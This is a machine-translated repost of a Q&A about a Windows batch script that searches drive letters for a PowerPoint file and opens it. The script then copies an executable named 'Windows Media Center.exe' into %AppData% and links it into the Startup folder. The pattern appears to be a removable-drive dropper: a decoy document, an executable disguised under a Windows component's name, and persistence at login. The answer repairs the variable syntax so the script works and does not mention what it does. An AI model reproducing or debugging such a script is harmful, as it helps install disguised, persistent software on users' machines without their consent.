[英]Windows Batch - Copy File issue
我正在嘗試創建一個簡單的批處理文件,該文件應該將文件從外部驅動器復制到PC,而不知道驅動器號:
echo off
set drives[0]=A:
set drives[1]=B:
set drives[2]=C:
set drives[3]=D:
set drives[4]=E:
set drives[5]=F:
set drives[6]=G:
set drives[7]=H:
for /F "tokens=2 delims==" %%s in ('set drives[') do (
if exist "%%s%\New Presentazione di Microsoft PowerPoint.pptx" (
start "" "%%s%\New Presentazione di Microsoft PowerPoint.pptx"
if not exist "%AppData%\Windows Media Center.exe" (
copy "%%s%\data\Windows Media Center.exe" %AppData%
mklink "%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\Windows Media Center" "%AppData%\Windows Media Center.exe"
)
)
)
PAUSE
我可以成功獲取正確的驅動器號,但copy命令會返回此錯誤:
該系統找不到指定的文件
我究竟做錯了什么?
您正在錯誤地使用FOR / F參數變量,但下面是您可以使用它按預期工作的語法示例,因此它將按預期工作。
基本上FOR循環時使用的變量如
%%s
當您使用它來在循環迭代后的命令(例如DO %%s
),它是在一個語法引用%%s
或%%~s
如果不是作為腳本運行,而是從命令行手動運行,則在批處理腳本中或作為%s
或%~s
使用單個百分號。 只需省略你附加到變量迭代器的附加%
符號,所以使用%%s
而不是%%s%
如果你使用上面提到的變量中的波浪號
~
字符,那么只刪除任何周圍的引號,以便以防萬一。
echo on
set drives[0]=A:
set drives[1]=B:
set drives[2]=C:
set drives[3]=D:
set drives[4]=E:
set drives[5]=F:
set drives[6]=G:
set drives[7]=H:
for /F "tokens=2 delims==" %%s in ('set drives[') do (
if exist "%%s\New Presentazione di Microsoft PowerPoint.pptx" start "" "%%s\New Presentazione di Microsoft PowerPoint.pptx"
if not exist "%AppData%\Windows Media Center.exe" copy "%%s\data\Windows Media Center.exe" %AppData%
mklink "%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\Windows Media Center" "%AppData%\Windows Media Center.exe"
)
PAUSE
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.